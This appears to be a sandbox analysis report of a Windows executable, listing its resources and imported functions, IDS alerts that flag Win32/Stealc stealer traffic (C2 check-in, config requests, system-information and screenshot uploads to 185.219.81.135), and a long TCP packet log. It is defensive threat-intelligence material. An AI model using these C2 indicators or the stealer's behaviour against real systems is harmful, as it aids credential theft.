RT_ICON	0xb2fd50	0x1259b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9999733911632053
RT_MENU	0xb610d8	0x22	empty	Chinese	China	0
RT_MENU	0xb610fc	0x2be	empty	Chinese	China	0
RT_MENU	0xb613bc	0x32e	empty	Chinese	China	0
RT_MENU	0xb616ec	0x2e8	empty	Chinese	China	0
RT_STRING	0xb619d4	0xce	empty	Chinese	China	0
RT_STRING	0xb61aa4	0x134	empty	English	Great Britain	0
RT_STRING	0xb61bd8	0x152	empty	Spanish	Mexico	0
RT_STRING	0xb61d2c	0x188	empty	Portuguese	Portugal	0
RT_STRING	0xb61eb4	0x1aa	empty			0
RT_STRING	0xb62060	0x1be	empty	Serbian	Cyrillic	0
RT_GROUP_ICON	0xb422ec	0x3e	data			0.8225806451612904
RT_GROUP_ICON	0xb4232c	0x3e	data	English	United States	0.8709677419354839
RT_MANIFEST	0xb4236c	0x48e	XML 1.0 document, ASCII text			0.43310463121783876

Imports

DLL	Import
msvcrt.dll	rand, strncpy, ??_V@YAXPAX@Z, strtok, memchr, strtok_s, ??_U@YAPAXI@Z, strcpy_s, vsprintf_s, memmove, strlen, malloc, free, memcmp, ??2@YAPAXI@Z, memset, memcpy, __CxxFrameHandler3, _except_handler3
KERNEL32.dll	InitializeCriticalSectionAndSpinCount, GetStringTypeW, MultiByteToWideChar, LCMapStringW, IsValidCodePage, GetOEMCP, GetACP, lstrlenA, HeapAlloc, GetProcessHeap, VirtualProtect, CreateProcessA, lstrcatA, VirtualQueryEx, OpenProcess, ReadProcessMemory, WriteFile, GetCPInfo, WideCharToMultiByte, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, TerminateProcess, GetCurrentProcess, LeaveCriticalSection, EnterCriticalSection, RtlUnwind, GetProcAddress, GetModuleHandleW, ExitProcess, Sleep, GetStdHandle, GetModuleFileNameW, GetLastError, LoadLibraryW, TlsGetValue, TlsSetValue, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, RaiseException
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China
English	Great Britain
Spanish	Mexico
Portuguese	Portugal
Serbian	Cyrillic

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T22:02:09.798691+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49706	185.219.81.135	80	TCP
2024-12-18T22:02:10.193592+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49706	185.219.81.135	80	TCP
2024-12-18T22:02:10.316351+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.219.81.135	80	192.168.2.5	49706	TCP
2024-12-18T22:02:10.595589+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49706	185.219.81.135	80	TCP
2024-12-18T22:02:10.718523+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.219.81.135	80	192.168.2.5	49706	TCP
2024-12-18T22:02:11.806938+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49706	185.219.81.135	80	TCP
2024-12-18T22:02:12.935844+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49706	185.219.81.135	80	TCP
2024-12-18T22:02:38.407185+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:40.251886+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:41.529282+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:42.687581+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:46.170567+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:47.039250+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49764	185.219.81.135	80	TCP
2024-12-18T22:02:50.649911+0100	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.5	49764	185.219.81.135	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 22:02:00.969336987 CET	49675	443	192.168.2.5	23.1.237.91
Dec 18, 2024 22:02:00.969352007 CET	49674	443	192.168.2.5	23.1.237.91
Dec 18, 2024 22:02:01.078711033 CET	49673	443	192.168.2.5	23.1.237.91
Dec 18, 2024 22:02:07.512895107 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:07.632807016 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:07.633017063 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:07.633233070 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:07.753508091 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:08.878642082 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:08.878725052 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:09.024506092 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:09.145231962 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:09.798489094 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:09.798691034 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:09.800383091 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:09.920164108 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.193303108 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.193381071 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.193592072 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.193592072 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.195374012 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.316350937 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.578772068 CET	49675	443	192.168.2.5	23.1.237.91
Dec 18, 2024 22:02:10.578804016 CET	49674	443	192.168.2.5	23.1.237.91
Dec 18, 2024 22:02:10.595494986 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.595583916 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.595588923 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.595623970 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.595638990 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.595670938 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.595932961 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.595967054 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.595988035 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.596009970 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.596643925 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.596708059 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.598443031 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:10.687995911 CET	49673	443	192.168.2.5	23.1.237.91
Dec 18, 2024 22:02:10.718523026 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.991323948 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:10.991441011 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:11.015415907 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:11.015454054 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:11.135302067 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.135334015 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.135370970 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.135384083 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.135396957 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.136713982 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.136728048 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.136740923 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.806833029 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:11.806937933 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.543492079 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.665169954 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.935775042 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.935843945 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.935843945 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.935884953 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.939848900 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.939917088 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.940018892 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.940069914 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.947021008 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.947094917 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.949953079 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.950014114 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.950169086 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.950221062 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.958482981 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.958549023 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.958601952 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.958661079 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.966803074 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.966856956 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.967160940 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.967207909 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:12.975208998 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:12.975261927 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.013020039 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.013113976 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.013154030 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.013201952 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.017146111 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.017210960 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.017363071 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.017412901 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.025754929 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.025861025 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.026007891 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.026062012 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.033962965 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.034020901 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.034096956 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.034153938 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.042284966 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.042458057 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.077117920 CET	443	49705	23.1.237.91	192.168.2.5
Dec 18, 2024 22:02:13.077307940 CET	49705	443	192.168.2.5	23.1.237.91
Dec 18, 2024 22:02:13.126887083 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.126972914 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.127094984 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.130759001 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.130908012 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.130943060 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.130975008 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.139177084 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.139247894 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.139381886 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.139434099 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.147528887 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.147595882 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.147644997 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.147695065 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.155956030 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.156008005 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.156120062 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.156163931 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.164329052 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.164378881 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.164433002 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.164473057 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.173429966 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.173446894 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.173476934 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.173497915 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.182212114 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.182229996 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.182259083 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.182275057 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.190675020 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.190691948 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.190727949 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.190742016 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.198928118 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.199009895 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.199208021 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.199343920 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.206007957 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.206083059 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.206227064 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.206279039 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.214036942 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.214097977 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.214222908 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.214270115 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.220524073 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.220557928 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.220597029 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.220746040 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.229722023 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.229779959 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.229891062 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.229938030 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.237660885 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.237739086 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.237773895 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.237819910 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.245860100 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.245915890 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.245961905 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.246026039 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.253701925 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.253720045 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.253757000 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.253777981 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.260957956 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.261008978 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.261022091 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.261054039 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.269892931 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.269958019 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.270039082 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.270088911 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.277244091 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.277420998 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.277487040 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.277542114 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.284634113 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.284694910 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.319020033 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.319219112 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.319226980 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.319281101 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.321592093 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.321686029 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.321783066 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.321842909 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.325961113 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.326028109 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.326037884 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.326088905 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.331590891 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.331681967 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.331753969 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.331793070 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.337006092 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.337074041 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.337122917 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.337169886 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.342531919 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.342606068 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.342684031 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.342741013 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.348121881 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.348193884 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.348269939 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.348452091 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.353415966 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.353490114 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.353570938 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.353624105 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.358897924 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.358975887 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.359113932 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.359174013 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.364331007 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.364389896 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.364444971 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.364499092 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.369728088 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.369786978 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.369841099 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.369894981 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.375266075 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.375372887 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.375387907 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.375456095 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.380568981 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.380635977 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.380829096 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.380882978 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.386193037 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.386298895 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.386356115 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.386414051 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.390743017 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.390851021 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.390904903 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.390923023 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.393104076 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.393165112 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.393349886 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.393399954 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.395905018 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.395967960 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.396064043 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.396112919 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.398596048 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.398654938 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.398776054 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.398828983 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.401355028 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.401412010 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.404376030 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.404433966 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.404519081 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.404572964 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.405755997 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.405810118 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.405910969 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.405961990 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.408456087 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.408509016 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.408601999 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.408657074 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.411245108 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.411307096 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.411355019 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.411407948 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.414007902 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.414072990 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.414119005 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.414172888 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.416755915 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.416821003 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.416925907 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.416976929 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.419497013 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.419574022 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.419627905 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.419681072 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.422341108 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.422401905 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:13.422539949 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:13.422591925 CET	49706	80	192.168.2.5	185.219.81.135
